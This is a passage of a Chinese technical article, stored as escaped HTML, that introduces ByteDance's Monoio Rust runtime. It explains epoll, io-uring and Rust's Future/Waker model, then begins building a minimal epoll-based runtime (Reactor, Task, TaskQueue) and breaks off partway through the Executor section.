&lt;p&gt;我们的 Runtime &lt;strong&gt;Monoio&lt;&#x2F;strong&gt; 现已开源，你可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bytedance&#x2F;monoio&quot;&gt;github.com&#x2F;bytedance&#x2F;monoio&lt;&#x2F;a&gt; 找到它。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们会通过两个章节来介绍：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;科普篇&lt;&#x2F;code&gt; 简单介绍一下异步 IO 以及 rust runtime 中需要的主要抽象。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;实现篇&lt;&#x2F;code&gt; 本章节我们会介绍到 Monoio 的实现细节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ke-pu-pian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E7%A7%91%E6%99%AE%E7%AF%87&quot;&gt;科普篇&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;epoll-io-uring&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#epoll--io-uring&quot;&gt;epoll &amp;amp; io-uring&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;为了做到异步并发，我们需要内核提供相关的能力，来做到在某个 IO 处于阻塞状态时能够处理其他任务。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;epoll&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#epoll&quot;&gt;epoll&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;讲 epoll 的文章多如牛毛，在此简单地提一下：epoll 是 linux 下较好的 IO 事件通知机制，可以同时监听多个 fd 的 ready 状态。&lt;&#x2F;p&gt;
&lt;p&gt;它主要包含 3 个 syscall：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;epoll_create&lt;&#x2F;code&gt;创建 epoll fd。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;epoll_ctl&lt;&#x2F;code&gt;向 epoll fd 添加、修改或删除其监听的 fd event。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;epoll_wait&lt;&#x2F;code&gt;等待监听 fd event，任何一个 event 发生时即返回；同时也支持传入一个 timeout，这样即便是没有 ready event，也可以在超时后返回。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如果你不使用 epoll 这类，而是直接做 syscall，那么你需要让 fd 处于阻塞模式（默认），这样当你想从 fd 上 read 时，read 就会阻塞住直到有数据可读。&lt;&#x2F;p&gt;
&lt;p&gt;使用 epoll 的时候，需要设置 fd 为非阻塞模式。当 read 时，在没有数据的情况下，read 也会立刻返回 &lt;code&gt;WOULD_BLOCK&lt;&#x2F;code&gt;。这时需要做的事情是将这个 fd 注册到 epoll fd 上，并设置 &lt;code&gt;EPOLLIN&lt;&#x2F;code&gt; 事件。&lt;&#x2F;p&gt;
&lt;p&gt;之后在没事做的时候（所有任务都卡在 IO 了），陷入 syscall epoll_wait。当有 event 返回时，再对对应的 fd 做 read（取决于注册时设置的触发模式，可能还要做一些其他事情，确保下次读取正常）。&lt;&#x2F;p&gt;
&lt;p&gt;总的来说，这个机制十分简单：设置 fd 为非阻塞模式，并在需要的时候注册到 epoll fd 上，然后 epoll fd 的事件触发时，再对 fd 进行操作。这样将多个 fd 的阻塞问题转变为单个 fd 的阻塞。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;io-uring&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#io-uring&quot;&gt;io-uring&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;与 epoll 不同，io-uring 不是一个事件通知机制，它是一个真正的异步 syscall 机制。你并不需要在它通知后再手动 syscall，因为它已经帮你做好了。&lt;&#x2F;p&gt;
&lt;p&gt;io-uring 主要由两个 ring 组成（SQ 和 CQ），SQ 用于提交任务，CQ 用于接收任务的完成通知。任务（Op）往往可以对应到一个 syscall（如 read 对应 ReadOp），也会指定这次 syscall 的参数和 flag 等。&lt;&#x2F;p&gt;
&lt;p&gt;在 submit 时，内核会消费掉所有 SQE，并注册 callback。之后等有数据时，如网卡中断发生，数据通过驱动读入，内核就会触发这些 callback，做 Op 想做的事情，如拷贝某个 fd 的数据到 buffer（这个 buffer 是用户指定的 buffer）。相比 epoll，io-uring 是纯同步的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：本节涉及的 io-uring 相关是对带 FAST_POLL 的描述。&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;git.kernel.org&#x2F;pub&#x2F;scm&#x2F;linux&#x2F;kernel&#x2F;git&#x2F;torvalds&#x2F;linux.git&#x2F;commit&#x2F;?id=d7718a9d25a61442da8ee8aeeff6a0097f0ccfd6&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;总结一下，io-uring 和 epoll 在使用上其实差不多，一般使用方式是：直接将想做的事情丢到 SQ 中（如果 SQ 满了就要先 submit 一下），然后在没事干（所有任务都卡在 IO 了）的时候 &lt;code&gt;submit_and_wait(1)&lt;&#x2F;code&gt;（&lt;code&gt;submit_and_wait&lt;&#x2F;code&gt; 和 &lt;code&gt;submit&lt;&#x2F;code&gt; 并不是 syscall，它们是 liburing 对 &lt;code&gt;enter&lt;&#x2F;code&gt; 的封装）；返回后消费 CQ，即可拿到 syscall 结果。如果你比较在意延迟，你可以更激进地做 &lt;code&gt;submit&lt;&#x2F;code&gt;，尽早将任务推入可以在数据 ready 后尽早返回，但与此同时也要付出 syscall 增多的代价。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-bu-ren-wu-de-zhi-xing-liu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%BC%82%E6%AD%A5%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81&quot;&gt;异步任务的执行流&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;常规的编程方式下，我们的代码控制流是对应线程的。就像你在写 C 时理解的那样，你的代码会直接编译到汇编指令，然后会由操作系统提供的“线程”去执行，在这其中没有多余的插入的逻辑。&lt;&#x2F;p&gt;
&lt;p&gt;以 epoll 为例，基于 epoll 的异步本质上是对线程的多路复用。那么常规方式下的类似下面的代码就无法在这种场景下使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;hljs&quot; class=&quot;language-hljs &quot;&gt;&lt;code class=&quot;language-hljs&quot; data-lang=&quot;hljs&quot;&gt;for connection = listener.accept():
    do_something(connection)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为这段代码中的 accept 是需要等待 IO 的，直接阻塞在这里会导致线程阻塞，这样就无法执行其他任务了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mian-xiang-callback-bian-cheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E9%9D%A2%E5%90%91-callback-%E7%BC%96%E7%A8%8B&quot;&gt;面向 Callback 编程&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在 C&#x2F;C++ 中常被使用的 libevent 就是这种模型。用户代码不掌握主动权（因为线程的掌控权就一个，而用户任务千千万万），而是通过将 Callback 注册在 libevent 上，关联某个事件。当事件发生时，libevent 会调用用户的回调函数，并将事件的参数传递给用户。用户在初始化好一些 callback 后，将线程的主动权交给 libevent。其内部会帮忙处理和 epoll 的交互，并在 ready 时执行 callback。&lt;&#x2F;p&gt;
&lt;p&gt;这种方式较为高效，但是写起来却令人头大。举例来说，如果你想做一次 HTTP 请求，那么你需要将这段代码拆成多个同步的函数，并通过 callback 将他们串起来：&amp;gt; 📄 [图片文字版] Libevent 驱动的 HTTP 请求回调流程：Dial 建连后依次注册并触发 Write Header 回调（写请求头）→ 注册 Write Body 回调（写请求体）→ 注册 Read Header 回调（读响应头）→ 注册 Read Body 回调（读响应体）完成，各阶段由底层 Libevent 事件驱动。&lt;&#x2F;p&gt;
&lt;p&gt;本来一次可以内聚在一个一个函数里的行为，被拆成了一堆函数。相比面向过程，面向状态编程十分混乱，且容易因为编码者遗忘一些细节而出问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-zhan-xie-cheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E6%9C%89%E6%A0%88%E5%8D%8F%E7%A8%8B&quot;&gt;有栈协程&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们能在用户代码和最终产物之间插入一些逻辑呢？像 Golang 那样，用户代码实际上只对应到可被调度的 goroutine，实际拥有线程控制权的是 go runtime。goroutine 可以被 runtime 调度，在执行过程中也可以被抢占。&lt;&#x2F;p&gt;
&lt;p&gt;当 goroutine 需要被中断然后切换到另一个 goroutine 时，runtime 只需要修改当前的 stack frame 即可。每个 goroutine 对应的栈其实是存在堆上的，所以可以随时打断随时复原。&lt;&#x2F;p&gt;
&lt;p&gt;网络库也是配合这一套 runtime 的。syscall 都是非阻塞的，并可以自动地挂在 netpoll 上。&lt;&#x2F;p&gt;
&lt;p&gt;有栈协程配合 runtime，解耦了 Task 级的用户代码和线程的对应关系。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-yu-future-de-wu-zhan-xie-cheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%9F%BA%E4%BA%8E-future-%E7%9A%84%E6%97%A0%E6%A0%88%E5%8D%8F%E7%A8%8B&quot;&gt;基于 Future 的无栈协程&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;有栈协程的上下文切换开销不可忽视。因为可以被随时打断，所以我们有必要保存当时的寄存器上下文，否则恢复回去时就不能还原现场了。&lt;&#x2F;p&gt;
&lt;p&gt;无栈协程没有这个问题，这种模式非常符合 Rust 的 Zero Cost Abstraction 的理念。Rust 中的 &lt;code&gt;async + await&lt;&#x2F;code&gt; 本质上是代码的自动展开，&lt;code&gt;async + await&lt;&#x2F;code&gt; 代码会基于 llvm generator 自动展开成状态机，状态机实现 Future 通过 poll 和 runtime 交互（具体细节可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hsqstephenzhang.github.io&#x2F;2021&#x2F;11&#x2F;24&#x2F;rust&#x2F;future-explained0&#x2F;&quot;&gt;这篇文章&lt;&#x2F;a&gt;）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rust-yi-bu-ji-zhi-yuan-li&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#rust-%E5%BC%82%E6%AD%A5%E6%9C%BA%E5%88%B6%E5%8E%9F%E7%90%86&quot;&gt;Rust 异步机制原理&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Rust 的异步机制设计较为复杂，标准库的接口和 Runtime 实现是解耦的。&lt;&#x2F;p&gt;
&lt;p&gt;Rust 的异步依赖于 Future trait。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub trait Future {
    type Output;
    fn poll(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;, cx: &amp;amp;mut Context&amp;lt;&amp;#x27;_&amp;gt;) -&amp;gt; Poll&amp;lt;Self::Output&amp;gt;;
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Future 是如何被执行的？根据上述 trait 定义很显然，是通过 &lt;code&gt;poll&lt;&#x2F;code&gt; 方法。返回的结果是 &lt;code&gt;Poll&lt;&#x2F;code&gt;，要么 &lt;code&gt;Pending&lt;&#x2F;code&gt; 要么 &lt;code&gt;Ready(T)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;那么 poll 方法是谁来调用的？&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用户。用户可以手动实现 Future，如用户对某个 Future 做包装，显然它需要实现 &lt;code&gt;poll&lt;&#x2F;code&gt; 并调用 &lt;code&gt;inner.poll&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;Runtime。Runtime 是最终 &lt;code&gt;poll&lt;&#x2F;code&gt; 的调用者。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;作为 Future 的实现者，需要保证的是，一旦返回了 &lt;code&gt;Poll::Pending&lt;&#x2F;code&gt;，就要在未来该 Future 依赖的 IO 就绪后能够唤醒它。唤醒一个 Future 是通过 Context 内的 Waker 做到的。至于说唤醒之后要做什么，这个由 Runtime 所提供的 cx 自行实现（如将这个 Task 加入到待执行队列）。&lt;&#x2F;p&gt;
&lt;p&gt;所以任何会产生事件的东西都要负责存储 Waker 并在 Ready 后唤醒它；而提供 cx 的东西会接收到这次唤醒操作，要负责重新调度它。这两个概念分别对应 Reactor 和 Executor，这两套东西靠 Waker 和 Future 解耦。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bytedance-rust-runtime&#x2F;simple-runtime-reactor.png&quot; alt=&quot;simple-runtime&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reactor&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#reactor&quot;&gt;Reactor&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;举例来说，你甚至可以在 Tokio 之上再实现一套自己的 Reactor（约等于自己做了一套多路复用）。事实上 Tokio-uring 就是这么做的：它本身注册在 Tokio(mio) 上了一个 uring fd，而基于这个 fd 和一套自己的 Pending Op 管理系统又对外作为 Reactor 暴露了事件源的能力。在 tokio-tungstenite 中，也通过 &lt;code&gt;WakerProxy&lt;&#x2F;code&gt; 来解决了读写唤醒问题。&lt;&#x2F;p&gt;
&lt;p&gt;另一个例子是计时器驱动。显然 IO 事件的信号来自于 epoll&#x2F;io-uring 等，但计时器并不是，其内部维护了时间轮或 N 叉堆之类的结构，所以唤醒 Waker 一定是 Time Driver 的职责，所以它一定需要存储 Waker。Time Driver 在这个意义上是一个 Reactor 实现。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;executor&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#executor&quot;&gt;Executor&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;说完了 Reactor 我们来科普一下 Executor。Executor 负责任务调度和执行。以 Thread-per-core 场景为例（为啥用这个例子？没有跨线程调度写起来多简单啊），完全可以实现成一个 &lt;code&gt;VecDeque&lt;&#x2F;code&gt;，Executor 做的事就是从里面拿任务，调用它的 poll 方法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;io-zu-jian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#io-%E7%BB%84%E4%BB%B6&quot;&gt;IO 组件&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;看到这里你可能会好奇，既然 Reactor 负责唤醒对应 Task，Executor 负责执行唤醒的 Task，那我们看一下源头，是谁负责将 IO 注册到 Reactor 上的呢？&lt;&#x2F;p&gt;
&lt;p&gt;IO 库（如 TcpStream 实现）会负责将未能立刻完成的 IO 注册到 Reactor 上。这也是为什么你在使用 Tokio 的时候会非要用 &lt;code&gt;Tokio::net::TcpStream&lt;&#x2F;code&gt; 而不能用标准库的原因之一；以及你想异步 sleep 时也需要用 Runtime 提供的 sleep 方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-xian-yi-ge-ji-jian-de-runtime&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E6%9E%81%E7%AE%80%E7%9A%84-runtime&quot;&gt;实现一个极简的 Runtime&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;出于简便目的，我们使用 epoll 来写这个 Runtime。这并不是我们的最终产品，只是为了演示如何实现最简单的 Runtime。&lt;&#x2F;p&gt;
&lt;p&gt;本小节的完整代码在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;mini-rust-runtime&quot;&gt;github.com&#x2F;ihciah&#x2F;mini-rust-runtime&lt;&#x2F;a&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;对应前文的三部组成部分：Reactor、Executor 和 IO 组件，我们分别实现。我们从 Reactor 入手吧。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reactor-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#reactor-1&quot;&gt;Reactor&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;由于裸操作 epoll 的体验有点差，并且本文的重点也并不是 Rust Binding，所以这里使用 polling 这个 crate 来完成 epoll 操作。&lt;&#x2F;p&gt;
&lt;p&gt;polling crate 的基础用法是创建 &lt;code&gt;Poller&lt;&#x2F;code&gt;，以及向 &lt;code&gt;Poller&lt;&#x2F;code&gt; 添加或修改 fd 和 interest。这个包默认使用 oneshot 模式（&lt;code&gt;EPOLLONESHOT&lt;&#x2F;code&gt;），需要在 event 触发后重新注册。在多线程场景下这可能是有用的，不过在我们的单线程的最简版本中似乎没有必要这么做，因为会带来额外的 &lt;code&gt;epoll_ctl&lt;&#x2F;code&gt; syscall 开销。不过处于简便起见，我们仍旧使用它。&lt;&#x2F;p&gt;
&lt;p&gt;作为 Reactor，我们在向 &lt;code&gt;Poller&lt;&#x2F;code&gt; 注册 interest 时，需要提供一个其对应的标识符，这个标识符在很多其他地方会被叫做 Token 或 UserData 或 Key。当 Event Ready 后，这个标志符会被原样返回。&lt;&#x2F;p&gt;
&lt;p&gt;所以我们需要做的事情大概是这样的：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;Poller&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;当需要关注某个 fd 的 Readable 或 Writable 时，向 &lt;code&gt;Poller&lt;&#x2F;code&gt; 添加 interest Event，并将 Waker 存下来&lt;&#x2F;li&gt;
&lt;li&gt;添加 interest Event 前需要分配一个 Token，这样当 Event Ready 后我们才知道这个 Event 对应的 Waker 在哪。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;于是我们可以将 Reactor 设计为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub struct Reactor {
    poller: Poller,
    waker_mapping: rustc_hash::FxHashMap&amp;lt;u64, Waker&amp;gt;,
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在其他 Runtime 实现中往往会使用 slab，slab 同时处理了 Token 分配和 Waker 的存储。&lt;&#x2F;p&gt;
&lt;p&gt;简便起见，这里保存 Token 和 Waker 的关系时直接使用了 HashMap。Waker 的存储比较 trick 的方式解决：由于我们只关心读和写，所以我们将读对应的 MapKey 定义为 &lt;code&gt;fd * 2&lt;&#x2F;code&gt;，写对应的 MapKey 定义为 &lt;code&gt;fd * 2 + 1&lt;&#x2F;code&gt;（因为 TCP 连接是全双工的，同一个 fd 上的读写无关，可以在不同的 Task 上，有各自独立的 Waker）；而 Event 的 UserData（Token）仍旧使用 fd 本身。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl Reactor {
    pub fn modify_readable(&amp;amp;mut self, fd: RawFd, cx: &amp;amp;mut Context) {
        println!(&amp;quot;[reactor] modify_readable fd {} token {}&amp;quot;, fd, fd * 2);

        self.push_completion(fd as u64 * 2, cx);
        let event = polling::Event::readable(fd as usize);
        self.poller.modify(fd, event);
    }

    pub fn modify_writable(&amp;amp;mut self, fd: RawFd, cx: &amp;amp;mut Context) {
        println!(&amp;quot;[reactor] modify_writable fd {}, token {}&amp;quot;, fd, fd * 2 + 1);

        self.push_completion(fd as u64 * 2 + 1, cx);
        let event = polling::Event::writable(fd as usize);
        self.poller.modify(fd, event);
    }

    fn push_completion(&amp;amp;mut self, token: u64, cx: &amp;amp;mut Context) {
        println!(&amp;quot;[reactor token] token {} waker saved&amp;quot;, token);

        self.waker_mapping.insert(token, cx.waker().clone());
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要将 fd 挂在 Poller 上或摘掉也十分简单：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl Reactor {
    pub fn add(&amp;amp;mut self, fd: RawFd) {
        println!(&amp;quot;[reactor] add fd {}&amp;quot;, fd);

        let flags =
            nix::fcntl::OFlag::from_bits(nix::fcntl::fcntl(fd, nix::fcntl::F_GETFL).unwrap())
                .unwrap();
        let flags_nonblocking = flags | nix::fcntl::OFlag::O_NONBLOCK;
        nix::fcntl::fcntl(fd, nix::fcntl::F_SETFL(flags_nonblocking)).unwrap();
        self.poller
            .add(fd, polling::Event::none(fd as usize))
            .unwrap();
    }

    pub fn delete(&amp;amp;mut self, fd: RawFd) {
        println!(&amp;quot;[reactor] delete fd {}&amp;quot;, fd);

        self.completion.remove(&amp;amp;(fd as u64 * 2));
        println!(&amp;quot;[reactor token] token {} completion removed&amp;quot;, fd as u64 * 2);
        self.completion.remove(&amp;amp;(fd as u64 * 2 + 1));
        println!(
            &amp;quot;[reactor token] token {} completion removed&amp;quot;,
            fd as u64 * 2 + 1
        );
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一个注意事项是，在挂上去之前要设置为 Nonblocking 的，否则在做 syscall 时，如果出现误唤醒（epoll 并没有保证不会误唤醒）会导致线程阻塞。&lt;&#x2F;p&gt;
&lt;p&gt;然后我们会面临一个问题：什么时候 &lt;code&gt;epoll_wait&lt;&#x2F;code&gt;？答案是没有任务的时候。如果所有任务都等待 IO 了，那么我们可以安全地陷入 syscall。所以我们的 Reactor 需要暴露一个 wait 接口来供 Executor 在没有任务时等待。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub struct Reactor {
    poller: Poller,
    waker_mapping: rustc_hash::FxHashMap&amp;lt;u64, Waker&amp;gt;,

    buffer: Vec&amp;lt;Event&amp;gt;,
}

impl Reactor {
    pub fn wait(&amp;amp;mut self) {
        println!(&amp;quot;[reactor] waiting&amp;quot;);
        self.poller.wait(&amp;amp;mut self.buffer, None);
        println!(&amp;quot;[reactor] wait done&amp;quot;);

        for i in 0..self.buffer.len() {
            let event = self.buffer.swap_remove(0);
            if event.readable {
                if let Some(waker) = self.waker_mapping.remove(&amp;amp;(event.key as u64 * 2)) {
                    println!(
                        &amp;quot;[reactor token] fd {} read waker token {} removed and woken&amp;quot;,
                        event.key,
                        event.key * 2
                    );
                    waker.wake();
                }
            }
            if event.writable {
                if let Some(waker) = self.waker_mapping.remove(&amp;amp;(event.key as u64 * 2 + 1)) {
                    println!(
                        &amp;quot;[reactor token] fd {} write waker token {} removed and woken&amp;quot;,
                        event.key,
                        event.key * 2 + 1
                    );
                    waker.wake();
                }
            }
        }
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接收 syscall 结果时需要提供预分配好的 buffer（&lt;code&gt;Vec&amp;lt;Event&amp;gt;&lt;&#x2F;code&gt;），为了避免每次都分配，我们直接在结构体中保存下来这个 buffer，通过 &lt;code&gt;Option&lt;&#x2F;code&gt; 包装可以让我们临时地拿到它的所有权。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;wait&lt;&#x2F;code&gt; 需要做的事情是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;陷入 syscall&lt;&#x2F;li&gt;
&lt;li&gt;syscall 返回后，处理所有就绪的 Event。如果事件是 readable 或者 writable 的，那么就分别从 HashMap 里找到并删除其对应的 Completion，然后唤醒它（这个 fd 和 Map Key 的对应规则我们前面也说到了，readable 对应 &lt;code&gt;fd * 2&lt;&#x2F;code&gt;，writable 对应 &lt;code&gt;fd * 2 + 1&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;最后将 Reactor 的创建函数补齐：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl Reactor {
    pub fn new() -&amp;gt; Self {
        Self {
            poller: Poller::new().unwrap(),
            waker_mapping: Default::default(),

            buffer: Vec::with_capacity(2048),
        }
    }
}

impl Default for Reactor {
    fn default() -&amp;gt; Self {
        Self::new()
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时我们的 Reactor 就写完了。总的来说就是包装了 epoll，同时额外做了 Waker 的存储和唤醒。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;executor-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#executor-1&quot;&gt;Executor&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Executor 需要存储 Task 并执行。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;task&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#task&quot;&gt;Task&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Task 是什么？Task 其实是 Future，但因为 Task 需要共享所有权，所以这里我们使用 Rc 来存储；并且我们只知道用户丢进来一个 Future，并不知道它的具体类型，所以我们需要把它 Box 起来，这里使用 &lt;code&gt;LocalBoxFuture&lt;&#x2F;code&gt;。再加上内部可变性，所以 Task 的定义如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub struct Task {
    future: RefCell&amp;lt;LocalBoxFuture&amp;lt;&amp;#x27;static, ()&amp;gt;&amp;gt;,
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;taskqueue&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#taskqueue&quot;&gt;TaskQueue&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;设计 Task 的存储结构，简便起见直接使用 VecDeque。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
pub struct TaskQueue {
    queue: RefCell&amp;lt;VecDeque&amp;lt;Rc&amp;lt;Task&amp;gt;&amp;gt;&amp;gt;,
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个 TaskQueue 需要能够 push 和 pop 任务：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused)]
fn main() {
impl TaskQueue {
    pub(crate) fn push(&amp;amp;self, runnable: Rc&amp;lt;Task&amp;gt;) {
        println!(&amp;quot;add task&amp;quot;);
        self.queue.borrow_mut().push_back(runnable);
    }

    pub(crate) fn pop(&amp;amp;self) -&amp;gt; Option&amp;lt;Rc&amp;lt;Task&amp;gt;&amp;gt; {
        println!(&amp;quot;remove task&amp;quot;);
        self.queue.borrow_mut().pop_front()
    }
}
}
